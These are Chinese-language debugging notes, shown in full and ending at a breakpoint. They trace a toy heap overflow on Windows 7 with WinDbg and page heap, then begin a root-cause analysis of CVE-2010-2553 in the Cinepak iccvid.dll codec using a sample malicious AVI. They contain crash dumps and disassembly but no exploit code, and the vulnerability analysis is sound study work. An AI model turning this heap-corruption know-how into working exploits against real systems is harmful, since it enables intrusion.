00401084 |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds>; |
00401086 |. 8BC8 mov ecx,eax ; |
00401088 |. 55 push ebp ; |hHeap = 003A0000
00401089 |. 83E1 03 and ecx,0x3 ; |
0040108C |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[>; |
0040108E |. FF15 04604000 call dword ptr ds:[<&KERNEL32.HeapFree>] ; \HeapFree
00401094 |. 55 push ebp ; /hHeap = 003A0000
00401095 |. FF15 00604000 call dword ptr ds:[<&KERNEL32.HeapDestro>; \HeapDestroy
0040109B |. 5F pop edi ; heapover.00407068
0040109C |. 5E pop esi ; heapover.00407068
0040109D |. 5D pop ebp ; heapover.00407068
0040109E |. 33C0 xor eax,eax
004010A0 |. 5B pop ebx ; heapover.00407068
004010A1 |. 83C4 24 add esp,0x24
004010A4 \. C3 retn
退出od
重新运行heapoverflow.exe,windbg附加
bp 0x40104b
g
在exe中随意输入字符并回车
windbg中断在断点处:
Breakpoint 0 hit
eax=00000031 ebx=7efde000 ecx=00409e41 edx=00000101 esi=00407065 edi=0018ff49
eip=0040104b esp=0018ff14 ebp=00870000 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
heapoverflow+0x104b:
0040104b 83c404 add esp,4
t
t
...
(eip=401053)
此时还没执行HeapAlloc(hHeap,0,0x10)
!heap -h
0:000> !heap -h
Index Address Name Debugging options enabled
1: 00590000
Segment at 00590000 to 00690000 (00007000 bytes committed)
2: 00240000
Segment at 00240000 to 00250000 (00002000 bytes committed)
3: 00870000
Segment at 00870000 to 00880000 (00001000 bytes committed)
dt _HEAP 870000
+0x0c4 FreeLists : _LIST_ENTRY [ 0x870590 - 0x870590 ] ==>说明0x870590处是free[0]空表的第一个堆块
此时free[0]空表偏移不再是0x178处,而是0x0c4处
dt _LIST_ENTRY 8700c4
0:000> dt _LIST_ENTRY 870590
ntdll!_LIST_ENTRY
[ 0x8700c4 - 0x8700c4 ]
+0x000 Flink : 0x008700c4 _LIST_ENTRY [ 0x870590 - 0x870590 ]
+0x004 Blink : 0x008700c4 _LIST_ENTRY [ 0x870590 - 0x870590 ]
t
此时进入了HeapAlloc函数内部
shift+f11
执行到跳出HeapAlloc函数(系统领域)到当上一层函数
(eip=401059)
此时堆分配完成
dt _heap 870000
+0x0c4 FreeLists : _LIST_ENTRY [ 0x8705a8 - 0x8705a8 ]
这个结果表明free[0]空表的第一个堆快不再是原来的0x870590,而变成了0x8705a8
dt _LIST_ENTRY 8705a8
0:000> dt _LIST_ENTRY 8705a8
ntdll!_LIST_ENTRY
[ 0x8700c4 - 0x8700c4 ]
+0x000 Flink : 0x008700c4 _LIST_ENTRY [ 0x8705a8 - 0x8705a8 ]
+0x004 Blink : 0x008700c4 _LIST_ENTRY [ 0x8705a8 - 0x8705a8 ]
查看寄存器也可以看到eax=870590(原来的free[0]空表中的第一个堆块的索引值),也即源代码中的heap=HeapAlloc(hHeap,0,0x10)
分配到的堆的索引为870590,那么heap_entry结构在870590-8=870588处
dt _HEAP_ENTRY 870590
0:000> dt _heap_entry 870590
ntdll!_HEAP_ENTRY
+0x000 Size : 0xc4
+0x002 Flags : 0x87 ''
+0x003 SmallTagIndex : 0 ''
+0x000 SubSegmentCode : 0x008700c4
+0x004 PreviousSize : 0xc4
+0x006 SegmentOffset : 0x87 ''
+0x006 LFHFlags : 0x87 ''
+0x007 UnusedBytes : 0 ''
+0x000 FunctionIndex : 0xc4
+0x002 ContextValue : 0x87
+0x000 InterceptorValue : 0x8700c4
+0x004 UnusedBytesLength : 0xc4
+0x006 EntryOffset : 0x87 ''
+0x007 ExtendedBlockSignature : 0 ''
+0x000 Code1 : 0x8700c4
+0x004 Code2 : 0xc4
+0x006 Code3 : 0x87 ''
+0x007 Code4 : 0 ''
+0x000 AgregateCode : 0x8700c4`008700c4
发现前两个字节并不是3(HeapAlloc分配0x10+8=3*8共3个堆单元大小的空间),对照泉哥书中的命令,发现查看命令应该是
!heap -p -a 870588,而不是我认为的dt _heap_entry 870590,后来在这篇文章中找到同样的问题,说是"nt6以后,heap结构
变得不小,dt heap_entry是无法看到的,貌似heap_entry做了编码"
http://www.cppblog.com/ay19880703/archive/2011/10/30/159364.html
于是用书中的!heap -p -a 870588查看heap_entry结构
!heap -p -a 870588
0:000> !heap -p -a 870588
address 00870588 found in
_HEAP @ 870000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
00870588 0003 0000 [00] 00870590 00010 - (busy)
能够正常查看heap_entry的信息,当前堆块大小为3,上一堆块大小为0
!heap
0:000> !heap
Index Address Name Debugging options enabled
1: 00590000
2: 00240000
3: 00870000
!heap -a 870000
Heap entries for Segment00 in Heap 00870000
00870000: 00000 . 00588 [101] - busy (587)
00870588: 00588 . 00018 [101] - busy (10)
008705a0: 00018 . 00a40 [100]
00870fe0: 00a40 . 00020 [111] - busy (1d)
00871000: 0000f000 - uncommitted bytes.
从这里看出heap堆的地址为870588,而不是870590,这与0day2中堆块的索引为heap_entry(占用态)或者heap_free_entry
(空闲堆块)的地址有点不同,这里的!heap -a 870000得到的"entries"如果理解成"索引"会指向heap_entry-8或者是
heap_free_entry-8的堆块块首处,这里的entries按"入口"来理解比较好,从上面也可看出870588下一个堆块是个空闲堆块,
而且这个空闲堆块的入口是8705a0(与上面的HeapAlloc分配后free[0]空表的第一个堆块的索引为8705a8正好对应)
与上面的dt _heap_entry一样的是dt _heap_free_entry也不能得到想要的数据下,如下:
dt _heap_free_entry 8705a0
0:000> dt _heap_free_entry 8705a0
ntdll!_HEAP_FREE_ENTRY
+0x000 Size : 0x38a0
+0x002 Flags : 0x39 '9'
+0x003 SmallTagIndex : 0x1e ''
+0x000 SubSegmentCode : 0x1e3938a0
+0x004 PreviousSize : 0x81cd =====>这里应该是3
+0x006 SegmentOffset : 0 ''
+0x006 LFHFlags : 0 ''
+0x007 UnusedBytes : 0 ''
+0x000 FunctionIndex : 0x38a0
+0x002 ContextValue : 0x1e39
+0x000 InterceptorValue : 0x1e3938a0
+0x004 UnusedBytesLength : 0x81cd
+0x006 EntryOffset : 0 ''
+0x007 ExtendedBlockSignature : 0 ''
+0x000 Code1 : 0x1e3938a0
+0x004 Code2 : 0x81cd
+0x006 Code3 : 0 ''
+0x007 Code4 : 0 ''
+0x000 AgregateCode : 0x81cd`1e3938a0
+0x008 FreeList : _LIST_ENTRY [ 0x8700c4 - 0x8700c4 ]
在+04的偏移处的值是上一个堆块的大小,上一个堆块的大小应该是3,这里确不是,说明dt _heap_free_entry和dt
_heap_entry在win7 x64位上都已经不再有用了,dt _list_entry 8705a0+8还是可以用的,也即_list_entry没有变,如下:
dt _list_entry 8705a0+8
0:000> dt _list_entry 8705a0+8
ntdll!_LIST_ENTRY
[ 0x8700c4 - 0x8700c4 ]
+0x000 Flink : 0x008700c4 _LIST_ENTRY [ 0x8705a8 - 0x8705a8 ]
+0x004 Blink : 0x008700c4 _LIST_ENTRY [ 0x8705a8 - 0x8705a8 ]
_list_entry可以正常显示
p
p
p
...
(eip=401084)
此处对应的是如下的strcpy的复制过程
00401084 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
此时查看esi和esi中的内容如下:
dd edi
0:000> dd edi
00870590 008700c4 008700c4 00000000 00000000
008705a0 1e3938a0 000081cd 008700c4 008700c4
008705b0 00000000 00000000 00000000 00000000
008705c0 00000000 00000000 00000000 00000000
008705d0 00000000 00000000 00000000 00000000
008705e0 00000000 00000000 00000000 00000000
008705f0 00000000 00000000 00000000 00000000
00870600 00000000 00000000 00000000 00000000
dd esi
0:000> dd esi
0018ff28 41414141 41414141 41414141 41414141
0018ff38 41414141 41414141 41414141 41414141
0018ff48 00407000 00401327 00000001 00240f48
0018ff58 00240f90 00000000 00000000 7efde000
0018ff68 00000000 00000000 0018ff5c 00000000
0018ff78 0018ffc4 00402c50 004060b8 00000000
0018ff88 0018ff94 7563338a 7efde000 0018ffd4
0018ff98 772f9a02 7efde000 204f7149 00000000
p
(eip=401086)
此时复制完成,此时的空闲堆块8705a0(索引为8705a8,堆入口为8705a0)
看看空闲堆块变成什么了
dt _heap_free_entry 8705a0
0:000> dt _heap_free_entry 8705a0
ntdll!_HEAP_FREE_ENTRY
+0x000 Size : 0x4141
+0x002 Flags : 0x41 'A'
+0x003 SmallTagIndex : 0x41 'A'
+0x000 SubSegmentCode : 0x41414141
+0x004 PreviousSize : 0x4141
+0x006 SegmentOffset : 0x41 'A'
+0x006 LFHFlags : 0x41 'A'
+0x007 UnusedBytes : 0x41 'A'
+0x000 FunctionIndex : 0x4141
+0x002 ContextValue : 0x4141
+0x000 InterceptorValue : 0x41414141
+0x004 UnusedBytesLength : 0x4141
+0x006 EntryOffset : 0x41 'A'
+0x007 ExtendedBlockSignature : 0x41 'A'
+0x000 Code1 : 0x41414141
+0x004 Code2 : 0x4141
+0x006 Code3 : 0x41 'A'
+0x007 Code4 : 0x41 'A'
+0x000 AgregateCode : 0x41414141`41414141
+0x008 FreeList : _LIST_ENTRY [ 0x41414141 - 0x41414141 ]
8705a0堆块头以及后面的FreeList中的前后向指针都被上面的esi中的414141...41覆盖了,可想后面再执行HeapFree释放已
分配的heap堆块时,会将heap堆块与后面的空闲堆块8705a0进行合并,修改两个合并堆块的前后向指针,此时就会引用到
0x41414141,最后造成崩溃.如果将上面释放堆块的操作换成分配堆块HeapAlloc(hHeap,0,0x10)也会导致崩溃,因为在分配
堆块时会去遍历空闲链表指针,造成地址引用异常.这里由于只是分配了一个堆块(代码中为HeapAlloc(hHeap,0,0x10)),这
一个唯一分配的堆块后面的堆块是剩下的空闲堆块,如果分配多个堆块,先被覆盖的就是多个堆块中的下一个堆块了,一般
不会覆盖到空闲堆块,如果空闲堆块被覆盖,说明所有的已分配堆块都被覆盖了,因为空闲堆块在所有已分配堆块的最后.
在这里可以通过对heapoverflow添加调试选项用于辅助堆调试,可使用windbg提供的gflags.exe(位于Debugging Tools for
windows目录下)或者!gflag命令设置,下面是常见的调试选项:
htc:堆尾检查,在堆块末尾附加额外的标记信息(通常为8字节),且于检查堆块是否发生溢出
hfc:堆释放检查,在释放堆块时对堆进行各种检查,防止多次释放同一个堆块
hpc:堆参数检查,对传递给堆管理的参数进行更多的检查
ust:用户态栈回溯,即将每次调用堆函数的函数调用信息记录到一个数据库中
htg:堆标志,为堆块添加附加标记,以记录堆块的使用情况或其他信息
hvc:调用时验证,即每次调用堆函数时都对整个堆进行验证和检查
hpa:启用页堆,在堆块后增加专门用于检测溢出的栅栏页,若发生堆溢出触及栅栏页便会立刻触发异常
使用方法:
eg.在windbg命令中输入:(win7需要管理员身份)
!gflag -i app.exe +htc +hpa -htg
在cmd中输入:(win7需要管理员身份)
gflags -i app.exe +htc +hpa -htg
一般堆尾检查主要是在每个堆块的尾部,即用户数据之后添加8字节内容,通常为连续的2个0xabababab,如果该段数据被破坏就
说明可能存在堆溢出.这里在heapoverflow.exe中开启htc和hpc,具体过程如下:
windbg中ctrl+e选择heapoverflow.exe
也即windbg加载heapoverflow.exe,如果是附加而不是加载,就无法在堆尾添加额外的标记信息,即无法进行堆尾检查
!gflag +htc +hpc
0:000> !gflag +hpc +htc
New NtGlobalFlag contents: 0x00000050
htc - Enable heap tail checking
hpc - Enable heap parameter checking
g
在windbg中输入g,并在heapoverflow.exe窗口中随意输入字符并回车,结果如下:
0:000> g
HEAP[heapoverflow.exe]: Heap block at 007C0588 modified at 007C05A0 past requested size of 10
(1b4.11c0): Break instruction exception - code 80000003 (first chance)
eax=007c0588 ebx=007c05a0 ecx=7733418f edx=0018fb15 esi=007c0588 edi=00000010
eip=7739152c esp=0018fd5c ebp=0018fd5c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
ntdll!RtlpBreakPointHeap+0x23:
7739152c cc int 3
结果中的heap block at 7c0588 modified at 7c05a0 past requested size of 10的意思是在堆块7c0588中,有个地址
7c05a0被修改,因为超过了原来申请的10个字节大小.这里实际分配了24个字节大小,正好是7c05a0-7c0588=0x18的值
通过这里的调试信息,大体可以判断出堆溢出主要是由于向大小为0x10的堆中复制了过多的数据导致的,但是并不能定位到导致
漏洞的汇编指令,比如导致堆溢出的字节复制指令rep movsz等,而这里的堆尾检查方式主要是堆被破坏后的场景,不利于定位
导致漏洞的代码,可以通过使用页堆调试选项定位漏洞指令,具体如下操作:
windbg加载heapoverflow.exe
!gflag +hpa
0:000> !gflag +hpa
New NtGlobalFlag contents: 0x02000000
hpa - Place heap allocations at ends of pages
g
在windbg中输入g,并存heapoverflow.exe中输入任意字符并回车,结果如下:
0:000> g
(1074.e3c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=002705a8 ebx=00000000 ecx=41414141 edx=00270590 esi=00270588 edi=00270000
eip=772f2fe5 esp=0018fdf0 ebp=0018fed0 iopl=0 nv up ei ng nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010283
ntdll!RtlpFreeHeap+0x4d6:
772f2fe5 8b19 mov ebx,dword ptr [ecx] ds:002b:41414141=????????
kb
0:000> kb
ChildEBP RetAddr Args to Child
0018fed0 772f2ce5 00270588 00270590 0018ff49 ntdll!RtlpFreeHeap+0x4d6
0018fef0 756314bd 00270000 00000000 00270590 ntdll!RtlFreeHeap+0x142
*** WARNING: Unable to verify checksum for image00400000
*** ERROR: Module load completed but symbols could not be loaded for image00400000
WARNING: Stack unwind information not available. Following frames may be wrong.
0018ff04[00401094] 00270000 00000000 00270590 kernel32!HeapFree+0x14
0018ff48[00401327]00000001 00540fe8 00541030 image00400000+0x1094
0018ff88 7563338a 7efde000 0018ffd4 772f9a02 image00400000+0x1327
0018ff94 772f9a02 7efde000 2fab3393 00000000 kernel32!BaseThreadInitThunk+0x12
0018ffd4 772f99d5 00401273 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70
0018ffec 00000000 00401273 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b
其中kb最后一列结果为kb命令执行的结果中的当前排的上一排中的RetAddr的值
ub image00400000+0x1094
0:000> ub image00400000+0x1094
image00400000+0x107f:
0040107f 6a00 push 0
00401081 c1e902 shr ecx,2
00401084 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
00401086 8bc8 mov ecx,eax
00401088 55 push ebp
00401089 83e103 and ecx,3
0040108c f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
0040108e ff1504604000 call dword ptr [image00400000+0x6004 (00406004)]
ub image00400000+0x1327
0:000> ub image00400000+0x1327
image00400000+0x1301:
00401301 e847120000 call image00400000+0x254d (0040254d)
00401306 e8af0e0000 call image00400000+0x21ba (004021ba)
0040130b a150994000 mov eax,dword ptr [image00400000+0x9950 (00409950)]
00401310 a354994000 mov dword ptr [image00400000+0x9954 (00409954)],eax
00401315 50 push eax
00401316 ff3548994000 push dword ptr [image00400000+0x9948 (00409948)]
0040131c ff3544994000 push dword ptr [image00400000+0x9944 (00409944)]
00401322 e8d9fcffff call image00400000+0x1000 (00401000)
也即程序异常时是由于40108e处的call 406004这条汇编指令出了问题,而call 406004这句指令所在的函数帧执是401000
函数帧.因为栈中压入的两个"返回到"的地址分别为401094和401327,而之所以会压入401094是因为已经执行到了40108e处
的call 406004中的406004函数帧中的指令,但是4006004函数帧在没有返回之前异常了,说明401084处对应的strcpy已经执
行完成,也即heap堆已经被覆盖,这里与《漏洞战争》书中不同,书中写的是没有覆盖,为了确定已分配的heap堆是否被
覆盖,执行如下操作查看:
!heap
0:000> !heap
Details:
Error address: 002705a0
Heap handle: 00270000
Error type heap_failure_buffer_overrun (6)
Last known valid blocks: before - 00270588, after - 00270fe0
Stack trace:
7734acd3: ntdll!RtlpCoalesceFreeBlocks+0x0000084c
772f2dfa: ntdll!RtlpFreeHeap+0x000001f4
772f2ce5: ntdll!RtlFreeHeap+0x00000142
756314bd: kernel32!HeapFree+0x00000014
Index Address Name Debugging options enabled
1: 005a0000
2: 00540000
3: 00270000
!heap -h 270000
Heap entries for Segment00 in Heap 00270000
00270000: 00000 . 00588 [101] - busy (587)
00270588: 00588 . 00018 [00] ===>对应分配的heap堆块
002705a0: 41728 . 20a08 [41] - busy (1c8c7), user flags (2) ===>对应空表对应的空闲堆块
这里有点异常现象,一般来说最后一个堆块入口是空表对应的空闲堆块,这里"空闲堆块"却变成了占用态,而分配的
heap堆块变成了"空闲"态
dd 270588
0:000> dd 270588
00270588 02000003 0000c315 41414141 41414141
00270598 41414141 41414141 41414141 41414141
002705a8 41414141 41414141 00000000 00000000
002705b8 00000000 00000000 00000000 00000000
002705c8 00000000 00000000 00000000 00000000
002705d8 00000000 00000000 00000000 00000000
002705e8 00000000 00000000 00000000 00000000
002705f8 00000000 00000000 00000000 00000000
这里看出分配的heap堆块的确已经被覆盖了超过0x10长度的A
dd 2705a0
0:000> dd 2705a0
002705a0 41414141 41414141 41414141 41414141
002705b0 00000000 00000000 00000000 00000000
002705c0 00000000 00000000 00000000 00000000
002705d0 00000000 00000000 00000000 00000000
002705e0 00000000 00000000 00000000 00000000
002705f0 00000000 00000000 00000000 00000000
00270600 00000000 00000000 00000000 00000000
00270610 00000000 00000000 00000000 00000000
这里结合上面的dd 270588的结果可以看出,上面分配的堆块被覆盖,且多余的A覆盖了空闲堆块的块首和flink及
blink,说明的确是覆盖了的,只是就算覆盖了空闲堆块,依然能用!gflag +hpa定位漏洞指令,而之所以没有和书中说
的没有覆盖后面的空闲堆块不同,大概是和作者的操作系统不同导致(这里用的是win7 x64,书中只说是win7),或者
是其他原因.
0x02 cve-2010-2553分析
0x01 about
漏洞描述:
Cinepak视频编解码器中的iccvid.dll中的CVDecompress函数在解压缩媒体文件时没有对缓冲区大小进行检测,导致在复制
压缩数据时造成堆溢出
实验环境:
win xp sp3
windows media player
turbodiff v1.01b
0x02 调试分析
1>attention
书中p86页中的开启页堆的方法是先运行wmplayer.exe,windbg附加进程后再在windbg的命令输入框中输入!gflag +hpa,实
际操作中会提示不能成功,右键以管理身份运行仍然不成功,可能是win xp或者是windbg和书中作者的有一点不同或其他原
因,不过能通过cmd中gflags.exe -i wmplayer.exe +hpa成功设置页堆,书中p80中说的只能加载exe再在windbg中设置调试
选项似乎与p86有矛盾,不过p80中是设置的堆尾的调试选项,这里暂且认为:
a>堆尾只能用p80说的windbg加载未运行的exe后再通过windbf设置!gflag +htc +hpc实现
b>页堆可以用p86说的windbg附加已经运行的exe后再设置!gflag +hpa实现
c>实际操作中可能由于环境问题在本机的win xp sp3上只能通过系统cmd执行gflag.exe -i wmplayer.exe +hpa,运行
wmplayer.exe,再用windbg附加exe进程实现,而这种方法应该是相当于a中的windbg加载的方法
2>操作
win+r:cmd
gflags.exe -i "C:\Program Files\Windows Media Player\wmplayer.exe" +hpa
Current Registry Settings for wmplayer.exe executable are: 02000000
hpa - Enable page heap
这里没有用管理员完全身份运行cmd也可以成功
双击wmplayer.exe
windbg附加wmplayer.exe
!gflag
0:003> !gflag
Current NtGlobalFlag contents: 0x02000000
hpa - Place heap allocations at ends of pages
windbg中检查的确成功设置了hpa
g
wmplayer.exe窗口中打开poc.avi(配套资料)
(2e8.644): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00006000 ebx=07d86fc0 ecx=00000800 edx=07a3fd38 esi=10279000 edi=1027b000
eip=73b722cc esp=07a3fd04 ebp=07a3fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
iccvid!CVDecompress+0x11e:
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:1027b000=????????
ds:0023:10279000=00930093
kb
0:010> kb
ChildEBP RetAddr Args to Child
07a3fd30 73b7cbf3 00000004 00000000 00000068 iccvid!CVDecompress+0x11e
07a3fd60 73b766c8 07e0ef60 00000000 07e24fd8 iccvid!Decompress+0x11d
07a3fdac 73b41938 07e0ef60 00000001 0000400d iccvid!DriverProc+0x1bf
07a3fdd0 7cf8fa9e 73b5b500 0000400d 07a3fde8 MSVFW32!ICSendMessage+0x2b
07a3fe00 7cf8f9e9 73b5b500 00000000 07e24fd8 quartz!CVFWDynLink::ICDecompress+0x3e
07a3fec0 7cf90a55 07cf6fa8 06daac90 00000000 quartz!CAVIDec::Transform+0x282
07a3feec 7cf90939 07cf6fa8 00000000 06dfaee0 quartz!CVideoTransformFilter::Receive+0x110
07a3ff00 7cf8e67a 0802cf44 07cf6fa8 07a3ff40 quartz!CTransformInputPin::Receive+0x33
07a3ff10 7cf90ca0 07cf6fa8 00040103 06dfaee0 quartz!CBaseOutputPin::Deliver+0x22
07a3ff40 7cf90e1c 07a3ff70 07a3ff6c 7c984d69 quartz!CBaseMSRWorker::TryDeliverSample+0x102
07a3ff84 7cf8ce30 7c984d69 06dfaee0 06dfaee0 quartz!CBaseMSRWorker::PushLoop+0x15e
07a3ff9c 7cf8dbe6 00000000 7cf8a121 7c984d69 quartz!CBaseMSRWorker::DoRunLoop+0x4a
07a3ffa4 7cf8a121 7c984d69 00000010 07a3ffec quartz!CBaseMSRWorker::ThreadProc+0x39
07a3ffb4 7c80b713 06dfaee0 7c984d69 00000010 quartz!CAMThread::InitialThreadProc+0x15
07a3ffec 00000000 7cf8a10c 06dfaee0 00000000 kernel32!BaseThreadStart+0x37
ub 73b7cbf3
或者
ub iccvid!Decompress+0x11d
0:010> ub iccvid!Decompress+0x11d
iccvid!Decompress+0x102:
73b7cbd8 ffb698000000 push dword ptr [esi+98h]
73b7cbde 57 push edi
73b7cbdf ff7528 push dword ptr [ebp+28h]
73b7cbe2 ff752c push dword ptr [ebp+2Ch]
73b7cbe5 ff7530 push dword ptr [ebp+30h]
73b7cbe8 ff7514 push dword ptr [ebp+14h]
73b7cbeb ff765c push dword ptr [esi+5Ch]
73b7cbee e8bb55ffff call iccvid!CVDecompress (73b721ae)
ub 73b766c8
或者
ub iccvid!DriverProc+0x1bf
0:010> ub iccvid!DriverProc+0x1bf
iccvid!DriverProc+0x1ae:
73b766b7 52 push edx
73b766b8 51 push ecx
73b766b9 51 push ecx
73b766ba ff7008 push dword ptr [eax+8]
73b766bd ff7004 push dword ptr [eax+4]
73b766c0 ff30 push dword ptr [eax]
73b766c2 56 push esi
73b766c3 e80e640000 call iccvid!Decompress (73b7cad6)
这里对栈中最近的两个返回地址以上部分进行反汇编,通过上面结果可以看出:
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:1027b000=????????
ds:0023:10279000=00930093 这里异常时eip=73b722cc是属于函数73b721ae中的一句指令,而73b7cbee处的call 73b721ae
这一条指令所在的函数帧正是73b7cad6函数帧,可通过查看|分解|Offset:73b721ae验证
现在需要在73b7cbee处下断点,但是iccvid.dll只有在wmplayer.exe打开poc.avi时才加载,这里有两种方法实现下断:
a>在od或immunity debugger中单独加载iccvid.dll,并在73b7cbee上下断点后再用od或immunity debugger附加
wmplayer.exe进行分析
b>在windbg中重新附加wmplayer.exe,并执行sxe ld:iccvid.dll,也即在iccvid.dll第一次被加载的时候中断,中断后再在
windbg中执行bp 73b7cbee
这里采用第二种方法,详细操作如下
win+r:cmd
gflags -i "C:\Program Files\Windows Media Player\wmplayer.exe" -hpa
Current Registry Settings for wmplayer.exe executable are: 00000000
双击运行wmplayer.exe
windbg附加wmplayer.exe
!gflag
0:003> !gflag
Current NtGlobalFlag contents: 0x00000000
如果上面没有先执行gflags.exe -i ...wmplayer.exe -hpa,这里在windbg中执行完!gflag后结果中会显示hpa页堆还存在
sxe ld:iccvid.dll
sx
0:003> sx
ct - Create thread - ignore
et - Exit thread - ignore
cpr - Create process - ignore
epr - Exit process - break
ld - Load module - break
(only break for iccvid.dll)
g
在wmplayer.exe窗口中打开poc.avi
0:003> g
ModLoad: 73b70000 73b87000 C:\WINDOWS\system32\iccvid.dll
eax=00000001 ebx=00000000 ecx=00000044 edx=000a2ed0 esi=00000000 edi=00000000
eip=7c92e4f4 esp=0237e28c ebp=0237e380 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
7c92e4f4 c3 ret
lmm iccvid v
0:007> lmm iccvid v
start end module name
73b70000 73b87000 iccvid (deferred)
Image path: C:\WINDOWS\system32\iccvid.dll
Image name: iccvid.dll
Timestamp: Mon Apr 14 10:12:25 2008 (4802BD89)
CheckSum: 000219FF
ImageSize: 00017000
File version: 1.10.0.12
Product version: 1.10.0.0
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 3.8 Driver
File date: 00000000.00000000
Translations: 0409.04e4
CompanyName: Radius Inc.
ProductName: Cinepak for Windows 32
InternalName: iccvid
OriginalFilename: iccvid.drv
ProductVersion: 1.10.0.0
FileVersion: 1.10.0.11
FileDescription: Cinepak® Codec
LegalCopyright: Copyright © 1992-1995 Radius Inc., All Rights Reserved
LegalTrademarks: Cinepak® is a trademark of Radius Inc.
查看iccvid模块的详细信息,这里不能写成lmm iccvid.dll v,那样不会找到iccvid模块
bp 73b7cbee
bl
0:007> bl
0 e 73b7cbee 0001 (0001) 0:**** iccvid!Decompress+0x118
g
0:007> g
Breakpoint 0 hit
eax=00000001 ebx=0ac5fd88 ecx=0005e2c0 edx=fffffee0 esi=0011db50 edi=0a9c0050
eip=73b7cbee esp=0ac5fd38 ebp=0ac5fd60 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!Decompress+0x118:
73b7cbee e8bb55ffff call iccvid!CVDecompress (73b721ae)
bp 73b722cc
这个地址是上面通过设置hpa添加页堆捕捉到的异常处的指令
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:1027b000=????????
g
0:010> g
Breakpoint 1 hit
eax=00002000 ebx=0a93d330 ecx=00000800 edx=0aa5fd38 esi=00147008 edi=00149008
eip=73b722cc esp=0aa5fd04 ebp=0aa5fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
iccvid!CVDecompress+0x11e:
*** ERROR: Module load completed but symbols could not be loaded for C:\WINDOWS\system32\wmploc.dll
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:00149008=00000000
ds:0023:00147008=00930093
?edi;?esi
0:010> ?edi;?esi
Evaluate expression: 1347592 = 00149008
Evaluate expression: 1339400 = 00147008
也即edi=149008,esi=147008
!heap -p -a 149008
0:010> !heap -p -a 149008
address 00149008 found in
_HEAP @ a0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
00147000 0c01 0000 [01] 00147008 06000 - (busy)
? wmploc+20093
说明edi属于a0000堆的147000堆块,这个堆块是占用态,这个堆块从1470008到147008+6000=14D008为这个堆块的数据区
!heap -p -a 147008
0:010> !heap -p -a 147008
address 00147008 found in
_HEAP @ a0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
00147000 0c01 0000 [01] 00147008 06000 - (busy)
? wmploc+20093
说明esi属于a0000堆的147000堆块,这个堆块是占用态,而且正好esi(147008)是这个堆块的索引,说明73b722cc处的rep
movs指令是要将147000堆块中的数据往这个堆块自己的数据区开始偏移149008-147008=2000处开始复制,可通过ecx查看要
复制多少字节数据
?ecx
0:010> ?ecx
Evaluate expression: 2048 = 00000800
800<6000-2000,应该不会覆盖堆块,但是+hpa时的确说是这个rep movs指令导致的异常,先继续运行下去
t
0:010> t
Breakpoint 1 hit
eax=00002000 ebx=0a93d330 ecx=000007ff edx=0aa5fd38 esi=0014700c edi=0014900c
eip=73b722cc esp=0aa5fd04 ebp=0aa5fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
iccvid!CVDecompress+0x11e:
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:0014900c=00000000
ds:0023:0014700c=00820082
发现再次中断,也即rep movs不是一次就结束复制了,此时edi=14900c,esi=14700c,前面的edi=149008,esi=147008,说明刚
复制完4字节数据,但是此时ecx=7ff,上面ecx=800,说明一共要复制4*800=2000<6000-2000,这样算,这个复制结束后是不会
覆盖当前堆块的下一堆块的,应该不会导致异常,暂时不可理解,继续往下走
t
0:010> t
Breakpoint 1 hit
eax=00002000 ebx=0a93d330 ecx=000007fe edx=0aa5fd38 esi=00147010 edi=00149010
eip=73b722cc esp=0aa5fd04 ebp=0aa5fd30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
iccvid!CVDecompress+0x11e:
73b722cc f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:00149010=00000000
ds:0023:00147010=00820082
情况和上面一样,照这样下去,直到rep movs完成应该都不会异常,但是windbg在设置页堆时的确说是这一条指令的问题,尝
试取消73b722cc处对应的rep movs指令,在这一句上面下断点,猜测有可能是一轮rep movs完成后还有其他机会再执行到这
里,然后才发生覆盖导致异常
bc *
ub eip
0:010> ub eip
iccvid!CVDecompress+0x102:
73b722b0 807d1300 cmp byte ptr [ebp+13h],0
73b722b4 751b jne iccvid!CVDecompress+0x123 (73b722d1)
73b722b6 803e11 cmp byte ptr [esi],11h
73b722b9 7516 jne iccvid!CVDecompress+0x123 (73b722d1)
73b722bb 8b4b1c mov ecx,dword ptr [ebx+1Ch]
73b722be 8d3c01 lea edi,[ecx+eax]
73b722c1 b900080000 mov ecx,800h
73b722c6 8db700e0ffff lea esi,[edi-2000h]
说明上一句汇编指令对应的地址是73b722c6
bp 73b722c6
g
0:010> g
Breakpoint 0 hit
